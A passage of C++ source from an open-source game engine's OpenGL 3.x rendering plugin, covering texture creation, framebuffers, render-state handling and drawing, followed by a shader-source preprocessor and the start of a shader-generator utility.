glEnable(GL_MULTISAMPLE); glEnable(GL_DEPTH_TEST); E_GUARDS(); glClearDepth(1.0); GLfloat r1[2]; glGetFloatv(GL_ALIASED_LINE_WIDTH_RANGE, r1); GLfloat r2[2]; glGetFloatv(GL_SMOOTH_LINE_WIDTH_RANGE, r2); GLint vp[4]; glGetIntegerv(GL_VIEWPORT, vp); viewportX = vp[0]; viewportY = vp[1]; viewportHeight = vp[2]; viewportWidth = vp[3]; //glEnable(GL_FRAMEBUFFER_SRGB); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::Finalize() { for each (GLShader shd in _shaders) shd.Free(); _shaders.clear(); for each (FBO fbo in _fboPool) fbo.Free(); _fboPool.clear(); FreeGL(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::AdjustMode(TEngineWindow& stNewWin) { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::MakeCurrent() { E_GUARDS(); ::MakeCurrent(); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::Present() { E_GUARDS(); SwapBuffer(); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetClearColor(const TColor4& stColor) { E_GUARDS(); glClearColor(stColor.r, stColor.g, stColor.b, stColor.a); _clearColor = stColor; E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetClearColor(TColor4& stColor) { GLfloat clColor[4]; glGetFloatv(GL_COLOR_CLEAR_VALUE, clColor); _clearColor.SetColorF(clColor[0], clColor[1], clColor[2], clColor[3]); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::Clear(bool bColor, bool bDepth, bool bStencil) { E_GUARDS(); GLbitfield mask = 0; if (bColor) mask |= GL_COLOR_BUFFER_BIT; if (bDepth) mask |= GL_DEPTH_BUFFER_BIT; if (bStencil) mask |= GL_STENCIL_BUFFER_BIT; glClear(mask); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetViewport(uint x, uint y, uint width, uint height) { E_GUARDS(); glViewport(x, y, width, height); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetViewport(uint& x, uint& y, uint& width, uint& height) { E_GUARDS(); GLint vp[4]; glGetIntegerv(GL_VIEWPORT, vp); x = vp[0]; y = vp[1]; width = vp[2]; height = vp[3]; E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetScissorRectangle(uint x, uint y, uint width, uint height) { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetScissorRectangle(uint& x, uint& y, uint& width, uint& height) { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetLineWidth(float fWidth) { // INVALID_OPERATION for fWidth > 1 in 3.2 // No sense call glSetLineWidth() with values other than [0, 1] return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetLineWidth(float& fWidth) { fWidth = 1.0f; return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetPointSize(float fSize) { E_GUARDS(); glPointSize(fSize); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetPointSize(float& fSize) { E_GUARDS(); GLfloat value; glGetFloatv(GL_POINT_SIZE, &value); fSize = value; E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::ReadFrameBuffer(uint uiX, uint uiY, uint uiWidth, uint uiHeight, uint8* pData, uint uiDataSize, E_TEXTURE_DATA_FORMAT eDataFormat) { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetRenderTarget(ICoreTexture* pTexture) { E_GUARDS(); if (pTexture == pCurrentRenderTarget) return S_OK; if (pTexture != nullptr) { uint h, w; pTexture->GetSize(w, h); int fbo_idx = -1; for(size_t i = 0; i < _fboPool.size(); i++) { if (h == _fboPool[i].height && w == _fboPool[i].width) { fbo_idx = i; break; } } if (fbo_idx == -1) { FBO fbo; fbo.Init(); fbo.GenerateDepthRenderbuffer(w, h); fbo.width = w; fbo.height = h; fbo_idx = _fboPool.size(); _fboPool.push_back(fbo); } FBO& fbo = _fboPool[fbo_idx]; glBindFramebuffer(GL_FRAMEBUFFER, fbo.ID); glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, fbo.depth_renderbuffer_ID); GLTexture *pGLTexture = static_cast<GLTexture*>(pTexture); GLuint tex_id = pGLTexture->Texture_ID(); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, tex_id, 0); GLenum status = glCheckFramebufferStatus(GL_FRAMEBUFFER); assert(status == GL_FRAMEBUFFER_COMPLETE); glViewport(0, 0, w, h); pCurrentRenderTarget = pTexture; } else { glBindFramebuffer(GL_FRAMEBUFFER, 0); glViewport(viewportX, viewportY, viewportHeight, viewportWidth); pCurrentRenderTarget = nullptr; } E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetRenderTarget(ICoreTexture*& prTexture) { prTexture = pCurrentRenderTarget; return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::CreateTexture(ICoreTexture*& pTex, const uint8* pData, uint uiWidth, uint uiHeight, bool bMipmapsPresented, E_CORE_RENDERER_DATA_ALIGNMENT eDataAlignment, E_TEXTURE_DATA_FORMAT eDataFormat, E_TEXTURE_LOAD_FLAGS eLoadFlags) { E_GUARDS(); // TODO: implenment NPOT texture const bool powerOfTwo_h = !(uiHeight == 0) && !(uiHeight & (uiHeight - 1)); const bool powerOfTwo_w = !(uiWidth == 0) && !(uiWidth & (uiWidth - 1)); //assert(powerOfTwo_h && powerOfTwo_w); bool bGenerateMipMaps = (eLoadFlags & TLF_GENERATE_MIPMAPS) != 0; if (bMipmapsPresented && bGenerateMipMaps) bGenerateMipMaps = false; const bool willBeMipMaps = bMipmapsPresented || bGenerateMipMaps; GLTexture* pGLTexture = new GLTexture(); glBindTexture(GL_TEXTURE_2D, pGLTexture->Texture_ID()); if (eLoadFlags & TLF_FILTERING_ANISOTROPIC) { assert(GLEW_EXT_texture_filter_anisotropic); GLint anisotropic_level = 4; if (eLoadFlags & TLF_ANISOTROPY_2X) anisotropic_level = 2; else if (eLoadFlags & TLF_ANISOTROPY_4X) anisotropic_level = 4; else if (eLoadFlags & TLF_ANISOTROPY_8X) anisotropic_level = 8; else if (eLoadFlags & TLF_ANISOTROPY_16X) anisotropic_level = 16; GLint maxAnisotropy; if (GLEW_EXT_texture_filter_anisotropic) glGetIntegerv(GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT, &maxAnisotropy); if (anisotropic_level > maxAnisotropy) anisotropic_level = maxAnisotropy; glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_ANISOTROPY_EXT, anisotropic_level); if (willBeMipMaps) { glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR); } else { glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); } } else { E_GUARDS(); GLint glMinFilter; if (willBeMipMaps) { if (eLoadFlags & TLF_FILTERING_NONE) glMinFilter = GL_NEAREST_MIPMAP_NEAREST; else if (eLoadFlags & TLF_FILTERING_BILINEAR) glMinFilter = GL_LINEAR_MIPMAP_NEAREST; else if (eLoadFlags & TLF_FILTERING_TRILINEAR) glMinFilter = GL_LINEAR_MIPMAP_LINEAR; else glMinFilter = GL_NEAREST_MIPMAP_NEAREST; } else { if (eLoadFlags & TLF_FILTERING_NONE) glMinFilter = GL_NEAREST; else if (eLoadFlags & TLF_FILTERING_BILINEAR) glMinFilter = GL_LINEAR; else glMinFilter = GL_NEAREST; } glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, glMinFilter); E_GUARDS(); GLint glMagFilter; if (eLoadFlags & TLF_FILTERING_NONE) glMagFilter = GL_NEAREST; else glMagFilter = GL_LINEAR; glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, glMagFilter); E_GUARDS(); } GLint glWrap; if (eLoadFlags & TLF_COORDS_CLAMP) glWrap = GL_CLAMP_TO_BORDER; else if (eLoadFlags & TLF_COORDS_MIRROR_REPEAT) glWrap = GL_MIRRORED_REPEAT; else if (eLoadFlags & TLF_COORDS_MIRROR_CLAMP) glWrap = GL_MIRROR_CLAMP_TO_EDGE; else glWrap = GL_REPEAT; glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, glWrap); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, glWrap); if (eDataFormat == TDF_ALPHA8) { GLint swizzleMask[] = { GL_ONE, GL_ONE, GL_ONE, GL_RED }; glTexParameteriv(GL_TEXTURE_2D, GL_TEXTURE_SWIZZLE_RGBA, swizzleMask); } GLint internalFormat; GLenum sourceFormat; GLenum sourceType = GL_UNSIGNED_BYTE; getGLFormats(eDataFormat, internalFormat, sourceFormat); const bool compressed = eDataFormat == TDF_DXT1 || eDataFormat == TDF_DXT5; int mipmaps = 1; if (bMipmapsPresented) mipmaps = static_cast<int>(log2(uiWidth)) + 1; int nOffset = 0; for (int i = 0; i < mipmaps; i++) { int nSize = calculateDataSize(uiWidth, uiHeight, eDataFormat); if (!compressed) glTexImage2D(GL_TEXTURE_2D, i, internalFormat, uiWidth, uiHeight, 0, sourceFormat, sourceType, pData + nOffset); else glCompressedTexImage2D(GL_TEXTURE_2D, i, internalFormat, uiWidth, uiHeight, 0, nSize, pData + nOffset); uiWidth /= 2; uiHeight /= 2; nOffset += nSize; E_GUARDS(); } if (mipmaps > 1) pGLTexture->SetMipmapAllocated(); if (bGenerateMipMaps && !bMipmapsPresented) { pGLTexture->SetMipmapAllocated(); glGenerateMipmap(GL_TEXTURE_2D); } glBindTexture(GL_TEXTURE_2D, 0); pTex = pGLTexture; E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::CreateGeometryBuffer(ICoreGeometryBuffer*& prBuffer, const TDrawDataDesc& stDrawDesc, uint uiVerticesCount, uint uiIndicesCount, E_CORE_RENDERER_DRAW_MODE eMode, E_CORE_RENDERER_BUFFER_TYPE eType) { E_GUARDS(); GLGeometryBuffer* pGLBuffer = new GLGeometryBuffer(eType, uiIndicesCount > 0, this); prBuffer = pGLBuffer; auto res = pGLBuffer->Reallocate(stDrawDesc, uiVerticesCount, uiIndicesCount, eMode); E_GUARDS(); return res; } DGLE_RESULT DGLE_API GL3XCoreRender::ToggleStateFilter(bool bEnabled) { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::InvalidateStateFilter() { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::PushStates() { E_GUARDS(); State state; GLboolean enabled; glGetBooleanv(GL_BLEND, &enabled); state.blend.bEnabled = enabled != 0; GLint blendSrc; GLint blendDst; glGetIntegerv(GL_BLEND_SRC_ALPHA, &blendSrc); glGetIntegerv(GL_BLEND_DST_ALPHA, &blendDst); state.blend.eSrcFactor = BlendFactor_GL_2_DGLE(blendSrc); state.blend.eDstFactor = BlendFactor_GL_2_DGLE(blendDst); state.tex_ID_last_binded = tex_ID_last_binded; state.alphaTest = alphaTest; glGetBooleanv(GL_DEPTH_TEST, &enabled); state.depth.bDepthTestEnabled = enabled > 0; //TODO: depth stencil state.color = _color; state.clearColor = _clearColor; GLint i[2]; glGetIntegerv(GL_POLYGON_MODE, i); state.poligonMode = i[0]; state.cullingOn = glIsEnabled(GL_CULL_FACE); if (state.cullingOn == GL_TRUE) glGetIntegerv(GL_CULL_FACE_MODE, &state.cullingMode); state.pRenderTarget = pCurrentRenderTarget; _states.push(state); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::PopStates() { E_GUARDS(); State state = _states.top(); _states.pop(); if (state.blend.bEnabled) glEnable(GL_BLEND); else glDisable(GL_BLEND); glBlendFunc(BlendFactor_DGLE_2_GL(state.blend.eSrcFactor), BlendFactor_DGLE_2_GL(state.blend.eDstFactor)); alphaTest = state.alphaTest; tex_ID_last_binded = state.tex_ID_last_binded; if (state.depth.bDepthTestEnabled) glEnable(GL_DEPTH_TEST); else glDisable(GL_DEPTH_TEST); //TODO: depth stencil _color = state.color; SetColor(_color); _clearColor = state.clearColor; SetClearColor(_clearColor); glPolygonMode(GL_FRONT_AND_BACK, state.poligonMode); if (state.cullingOn == GL_FALSE) glDisable(GL_CULL_FACE); else { glEnable(GL_CULL_FACE); glCullFace(state.cullingMode); } if (state.pRenderTarget != pCurrentRenderTarget) SetRenderTarget(state.pRenderTarget); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetMatrix(const TMatrix4x4& stMatrix, E_MATRIX_TYPE eMatType) { switch (eMatType) { case MT_MODELVIEW: MV = stMatrix; break; case MT_PROJECTION: P = stMatrix; break; case MT_TEXTURE: T = stMatrix; break; } return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetMatrix(TMatrix4x4& stMatrix, E_MATRIX_TYPE eMatType) { switch (eMatType) { case MT_MODELVIEW: stMatrix = MV; break; case MT_PROJECTION: stMatrix = P; break; case MT_TEXTURE: stMatrix = T; break; } return S_OK; } GLShader* GL3XCoreRender::chooseShader(INPUT_ATTRIBUTE attrib, bool texture_binded, bool light_on, bool is2D, bool alphaTest) { bool norm = (attrib & NORM) > 0; bool tex = (attrib & TEX_COORD) > 0; auto it = std::find_if(_shaders.begin(), _shaders.end(), [norm, tex, texture_binded, light_on, is2D, alphaTest](const GLShader& shd) -> bool { return shd.bPositionIsVec2() == is2D && shd.hasUniform("texture0") == (texture_binded && tex) && shd.bAlphaTest() == alphaTest && shd.bInputNormals() == (light_on && norm); }); return &(*it); } DGLE_RESULT DGLE_API GL3XCoreRender::Draw(const TDrawDataDesc& stDrawDesc, E_CORE_RENDERER_DRAW_MODE eMode, uint uiCount) { E_GUARDS(); PushStates(); TDepthStencilDesc depthState; GetDepthStencilState(depthState); depthState.bDepthTestEnabled = false; SetDepthStencilState(depthState); GLGeometryBuffer buffer(CRBT_HARDWARE_STATIC, false, this); buffer.Reallocate(stDrawDesc, uiCount, 0, eMode); DrawBuffer(&buffer); PopStates(); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::DrawBuffer(ICoreGeometryBuffer* pBuffer) { E_GUARDS(); GLGeometryBuffer *b = dynamic_cast<GLGeometryBuffer*>(pBuffer); if (b == nullptr) return S_OK; const bool texture_binded = tex_ID_last_binded != 0; const bool light_on = true; const GLShader* pShd = chooseShader(b->GetAttributes(), texture_binded, light_on, b->Is2dPosition(), alphaTest); glUseProgram(pShd->ID_Program()); glBindVertexArray(b->VAO_ID()); b->ToggleAttribInVAO(POS, true); b->ToggleAttribInVAO(NORM, pShd->bInputNormals()); b->ToggleAttribInVAO(TEX_COORD, pShd->bInputTextureCoords()); if (pShd->hasUniform("MV")) { const GLuint MV_ID = glGetUniformLocation(pShd->ID_Program(), "MV"); glUniformMatrix4fv(MV_ID, 1, GL_FALSE, &MV._1D[0]); } if (pShd->hasUniform("MVP")) { const TMatrix4x4 MVP = MV * P; const GLuint MVP_ID = glGetUniformLocation(pShd->ID_Program(), "MVP"); glUniformMatrix4fv(MVP_ID, 1, GL_FALSE, &MVP._1D[0]); } if (pShd->hasUniform("NM")) { const TMatrix4x4 NM = MatrixTranspose(MatrixInverse(MV)); // Normal matrix = (MV^-1)^T const GLuint NM_ID = glGetUniformLocation(pShd->ID_Program(), "NM"); glUniformMatrix4fv(NM_ID, 1, GL_FALSE, &NM._1D[0]); } if (pShd->hasUniform("nL")) { const TVector3 L = { 0.2f, 1.0f, 1.0f }; const TVector3 nL = L / L.Length(); const TVector3 nL_eyeSpace = MV.ApplyToVector(nL); const GLuint nL_ID = glGetUniformLocation(pShd->ID_Program(), "nL"); glUniform3f(nL_ID, nL.x, nL.y, nL.z); } if (pShd->hasUniform("texture0")) { glBindTexture(GL_TEXTURE_2D, tex_ID_last_binded); const GLuint tex_ID = glGetUniformLocation(pShd->ID_Program(), "texture0"); glUniform1i(tex_ID, 0); } if (pShd->hasUniform("main_color")) { const GLuint main_color_ID = glGetUniformLocation(pShd->ID_Program(), "main_color"); glUniform4f(main_color_ID, _color.r, _color.g, _color.b, _color.a); } /* if (pShd->hasUniform("screenWidth")) { const GLuint width_ID = glGetUniformLocation(pShd->ID_Program(), "screenWidth"); glUniform1ui(width_ID, viewportWidth); } if (pShd->hasUniform("screenHeight")) { const GLuint height_ID = glGetUniformLocation(pShd->ID_Program(), "screenHeight"); glUniform1ui(height_ID, viewportHeight); } */ if (b->IndexDrawing()) glDrawElements(b->GLDrawMode(), b->IndexCount(), ((b->IndexCount() > 65535) ? GL_UNSIGNED_INT : GL_UNSIGNED_SHORT), nullptr); else if (b->VertexCount() > 0) glDrawArrays(b->GLDrawMode(), 0, b->VertexCount()); glBindVertexArray(0); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetColor(const TColor4& stColor) { _color = stColor; return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetColor(TColor4& stColor) { E_GUARDS(); GLfloat color[4]; glGetFloatv(GL_CURRENT_COLOR, color); stColor = color; E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::ToggleBlendState(bool bEnabled) { E_GUARDS(); if (bEnabled) glEnable(GL_BLEND); else glDisable(GL_BLEND); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::ToggleAlphaTestState(bool bEnabled) { alphaTest = bEnabled; return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetBlendState(const TBlendStateDesc& stState) { E_GUARDS(); if (stState.bEnabled) glEnable(GL_BLEND); else glDisable(GL_BLEND); glBlendFunc(BlendFactor_DGLE_2_GL(stState.eSrcFactor), BlendFactor_DGLE_2_GL(stState.eDstFactor)); E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetBlendState(TBlendStateDesc& stState) { E_GUARDS(); GLint blendSrc; GLint blendDst; glGetIntegerv(GL_BLEND_SRC_ALPHA, &blendSrc); glGetIntegerv(GL_BLEND_DST_ALPHA, &blendDst); stState.eSrcFactor = BlendFactor_GL_2_DGLE(blendSrc); stState.eDstFactor = BlendFactor_GL_2_DGLE(blendDst); GLboolean enabled; glGetBooleanv(GL_BLEND, &enabled); stState.bEnabled = enabled > 0; E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetDepthStencilState(const TDepthStencilDesc& stState) { E_GUARDS(); if (stState.bDepthTestEnabled) glEnable(GL_DEPTH_TEST); else glDisable(GL_DEPTH_TEST); //TODO: depth stencil E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetDepthStencilState(TDepthStencilDesc& stState) { E_GUARDS(); GLboolean enabled; glGetBooleanv(GL_DEPTH_TEST, &enabled); stState.bDepthTestEnabled = enabled == GL_TRUE; //TODO: depth stencil E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::SetRasterizerState(const TRasterizerStateDesc& stState) { E_GUARDS(); alphaTest = stState.bAlphaTestEnabled; if (stState.bWireframe) glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); else glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); if (stState.eCullMode == PCM_NONE) glDisable(GL_CULL_FACE); else { glEnable(GL_CULL_FACE); if (stState.eCullMode == PCM_BACK) glCullFace(GL_BACK); else if (stState.eCullMode == PCM_FRONT) glCullFace(GL_FRONT); } // TODO: rest E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetRasterizerState(TRasterizerStateDesc& stState) { E_GUARDS(); stState.bAlphaTestEnabled = alphaTest; GLint poligonMode[2]; glGetIntegerv(GL_POLYGON_MODE, poligonMode); stState.bWireframe = poligonMode[0] == GL_LINE; GLboolean enabledCulling; enabledCulling = glIsEnabled(GL_CULL_FACE); if (enabledCulling == GL_FALSE) stState.eCullMode = PCM_NONE; else { GLint cullMode; glGetIntegerv(GL_CULL_FACE_MODE, &cullMode); if (cullMode == GL_BACK) stState.eCullMode = PCM_BACK; else if (cullMode == GL_FRONT) stState.eCullMode = PCM_FRONT; } // TODO: rest E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::BindTexture(ICoreTexture* pTex, uint uiTextureLayer) { assert( uiTextureLayer == 0 || // bind 0 (uiTextureLayer != 0 && pTex == nullptr) ); // unbind every GLTexture *pGLTex = static_cast<GLTexture*>(pTex); if (pGLTex == nullptr) tex_ID_last_binded = 0; else tex_ID_last_binded = pGLTex->Texture_ID(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetBindedTexture(ICoreTexture*& prTex, uint uiTextureLayer) { assert(uiTextureLayer == 0); glActiveTexture(GL_TEXTURE0 + 0); GLint tex_id = tex_ID_last_binded; //glGetIntegerv(GL_TEXTURE_BINDING_2D, &tex_id); IResourceManager *resMan; _core->GetSubSystem(ESS_RESOURCE_MANAGER, reinterpret_cast<IEngineSubSystem *&>(resMan)); uint count; resMan->GetResourcesCount(count); for (uint i = 0; i < count; ++i) { IEngineBaseObject *p_obj; resMan->GetResourceByIndex(i, p_obj); E_ENGINE_OBJECT_TYPE type; p_obj->GetType(type); if (type == EOT_TEXTURE) { ICoreTexture *p_ctex; ((ITexture *)p_obj)->GetCoreTexture(p_ctex); if (((GLTexture*)p_ctex)->Texture_ID() == tex_id) { prTex = p_ctex; return S_OK; } } } return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetFixedFunctionPipelineAPI(IFixedFunctionPipeline*& prFFP) { prFFP = nullptr; return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetDeviceMetric(E_CORE_RENDERER_METRIC_TYPE eMetric, int& iValue) { E_GUARDS(); iValue = 0; switch (eMetric) { case CRMT_MAX_TEXTURE_RESOLUTION: glGetIntegerv(GL_MAX_TEXTURE_SIZE, &iValue); break; case CRMT_MAX_TEXTURE_LAYERS: glGetIntegerv(GL_MAX_TEXTURE_IMAGE_UNITS, &iValue); break; case CRMT_MAX_ANISOTROPY_LEVEL: if (GLEW_EXT_texture_filter_anisotropic) glGetIntegerv(GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT, &iValue); break; default: break; } E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::IsFeatureSupported(E_CORE_RENDERER_FEATURE_TYPE eFeature, bool& bIsSupported) { E_GUARDS(); bIsSupported = false; switch (eFeature) { case CRFT_BUILTIN_FULLSCREEN_MODE: break; case CRFT_BUILTIN_STATE_FILTER: break; case CRFT_MULTISAMPLING: break; case CRFT_VSYNC: break; case CRFT_PROGRAMMABLE_PIPELINE: bIsSupported = true; break; case CRFT_LEGACY_FIXED_FUNCTION_PIPELINE_API: bIsSupported = false; break; case CRFT_BGRA_DATA_FORMAT: bIsSupported = true; break; case CRFT_TEXTURE_COMPRESSION: bIsSupported = (GLEW_ARB_texture_compression == GL_TRUE && GLEW_EXT_texture_compression_s3tc == GL_TRUE); break; case CRFT_NON_POWER_OF_TWO_TEXTURES: bIsSupported = true; break; case CRFT_DEPTH_TEXTURES: break; case CRFT_TEXTURE_ANISOTROPY: bIsSupported = true; break; case CRFT_TEXTURE_MIPMAP_GENERATION: bIsSupported = true; break; case CRFT_TEXTURE_MIRRORED_REPEAT: bIsSupported = true; break; case CRFT_TEXTURE_MIRROR_CLAMP: bIsSupported = true; break; case CRFT_GEOMETRY_BUFFER: break; case CRFT_FRAME_BUFFER: break; default: break; } E_GUARDS(); return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetRendererType(E_CORE_RENDERER_TYPE& eType) { return S_OK; } DGLE_RESULT DGLE_API GL3XCoreRender::GetType(E_ENGINE_SUB_SYSTEM& eSubSystemType) { eSubSystemType = ESS_CORE_RENDERER; return S_OK; } <file_sep>/_utils/ShaderGenerator/Preprocessor.cpp #include "Preprocessor.h" #include <iterator> #include <assert.h> void Preprocessor::set_define(const string& def) { defines.push_back(def); } void Preprocessor::erase_define(const string& def) { defines.remove(def); } bool Preprocessor::define_exist(const string& def) { return find(defines.begin(), defines.end(), def) != defines.end(); } DIRECTIVE Preprocessor::get_directive(string::iterator str_it, string::iterator str_end) { string str = string(str_it, str_end); if (str.compare(0, 5, "ifdef") == 0) return IFDEF; else if (str.compare(0, 4, "else") == 0) return ELSE; else if (str.compare(0, 4, "elif") == 0) return ELSEIF; else if (str.compare(0, 5, "endif") == 0) return ENDIF; return UNKNOWN; } string Preprocessor::get_next_str(string::iterator& it, string::iterator str_end) { while (it != str_end && *it == ' ') it++; //skip whitespace if (it == str_end) return string(); if (*it == '&' && *(it + 1) == '&') { it+=2; return string("&&"); } if (*it == '|' && *(it + 1) == '|') { it+=2; return string("||"); } if (*it == '!' || isalpha(*it) || *it == '_') { string::iterator def_begin = it; it++; while (it != str_end && (isalnum(*it) || *it == '_')) it++; return string(def_begin, it); } assert(false); // invalid string } bool Preprocessor::evaluate_def_value(string::iterator& it, string::iterator str_end) { bool l_operand = false; bool prev_was_operation = false; bool op_is_and = false; while(true) { string str = get_next_str(it, str_end); if (str.empty()) break; if (str == "&&") { prev_was_operation = true; op_is_and = true; } else if (str == "||") { prev_was_operation = true; op_is_and = false; } else { bool value; if (str[0] == '!') { string def = string(str.begin() + 1, str.end()); value = !define_exist(def); } else value = define_exist(str); if (prev_was_operation) { if (op_is_and) l_operand = l_operand && value; else l_operand = l_operand || value; prev_was_operation = false; } else { l_operand = value; } } } return l_operand; } void Preprocessor::move_it_to_end_dirictive(string::iterator& it, string::iterator str_end) { while (it != str_end && *it != ' ') it++; } list<string> Preprocessor::run(const vector<string>& text) { list<string> ret(text.begin(), text.end()); struct TxtBlock { list<string>::iterator it_start; string::iterator str_it_start; list<string>::iterator it_end; string::iterator str_it_end; }; bool fisrt_block_fifished = false; bool second_block_started = false; TxtBlock block_tmp; vector<TxtBlock> text_to_remove; for (auto it = ret.begin(); it != ret.end(); it++) { for (auto str_it = it->begin(); str_it != it->end(); ) { DIRECTIVE directive = UNKNOWN; if (*str_it == '#') { directive = get_directive(str_it + 1, it->end()); } switch (directive) { case UNKNOWN: str_it++; break; case IFDEF: block_tmp.it_start = it; block_tmp.str_it_start = str_it; move_it_to_end_dirictive(str_it, it->end()); if (evaluate_def_value(str_it, it->end())) { block_tmp.it_end = it; block_tmp.str_it_end = str_it; fisrt_block_fifished = true; text_to_remove.push_back(block_tmp); } break; case ELSE: if (fisrt_block_fifished && !second_block_started) { block_tmp.it_start = it; block_tmp.str_it_start = str_it; second_block_started = true; move_it_to_end_dirictive(str_it, it->end()); } else if (fisrt_block_fifished && second_block_started) { move_it_to_end_dirictive(str_it, it->end()); } else { move_it_to_end_dirictive(str_it, it->end()); block_tmp.it_end = it; block_tmp.str_it_end = str_it; text_to_remove.push_back(block_tmp); fisrt_block_fifished = true; } break; case ELSEIF: if (fisrt_block_fifished && !second_block_started) { block_tmp.it_start = it; block_tmp.str_it_start = str_it; second_block_started = true; move_it_to_end_dirictive(str_it, it->end()); evaluate_def_value(str_it, it->end()); } else if (fisrt_block_fifished && second_block_started) { move_it_to_end_dirictive(str_it, it->end()); evaluate_def_value(str_it, it->end()); } else // fisrt_block_fifished = false { move_it_to_end_dirictive(str_it, it->end()); if (evaluate_def_value(str_it, it->end())) { block_tmp.it_end = it; block_tmp.str_it_end = str_it; fisrt_block_fifished = true; text_to_remove.push_back(block_tmp); } } break; case ENDIF: if (fisrt_block_fifished && !second_block_started) { block_tmp.it_start = it; block_tmp.str_it_start = str_it; } move_it_to_end_dirictive(str_it, it->end()); block_tmp.it_end = it; block_tmp.str_it_end = str_it; text_to_remove.push_back(block_tmp); fisrt_block_fifished = false; second_block_started = false; break; default: str_it++; break; } } } // remove text blocks for (auto& txt_block : text_to_remove) { if (txt_block.it_start == txt_block.it_end) { if (txt_block.str_it_start == txt_block.it_start->begin() && txt_block.str_it_end == txt_block.it_end->end()) ret.erase(txt_block.it_start); else txt_block.it_start->erase(txt_block.str_it_start, txt_block.str_it_end); } else { int dist = distance(txt_block.it_start, txt_block.it_end); auto it1 = txt_block.it_start; ++it1; auto it2 = txt_block.it_end; if (txt_block.str_it_start == txt_block.it_start->begin()) ret.erase(txt_block.it_start); else txt_block.it_start->erase(txt_block.str_it_start, txt_block.it_start->end()); if (dist > 1) ret.erase(it1, it2); if (txt_block.str_it_end == txt_block.it_end->end()) ret.erase(txt_block.it_end); else txt_block.it_end->erase(txt_block.it_end->begin(), txt_block.str_it_end); } } // remove empty lines vector<list<string>::iterator> empty_lines; for (auto it = ret.begin(); it != ret.end(); ++it) if (*it == "" | *it == "\t" || *it == "\n") empty_lines.push_back(it); for (auto& line : empty_lines) ret.erase(line); return ret; }<file_sep>/_utils/ShaderGenerator/ShaderGenerator.cpp // // This application load shaders // with different input attributes such as // Position, Normal, Texture coordiantes, Tangent... // and makes one text file. // Then this file you can paste to main .cpp plugin file. // #include <string> #include <fstream> #include <iostream> #include <array> #include <set> #include <vector> #include "Preprocessor.h" using namespace std; #define DIR "..\\..\\src\\shaders\\" #define OUT_CPP "../../src/shaderSources.cpp" #define SHADER_VERT_NAME "mesh_vertex.shader" #define SHADER_FRAG_NAME "mesh_fragment.shader" const array<string, 9> head= { { "#include \"GL3XCoreRender.h\"", "#include \"shaderSources.h\"", "", "template<int N>", "static const char** exact_ptrptr(const char *(&v)[N])", "{", " return 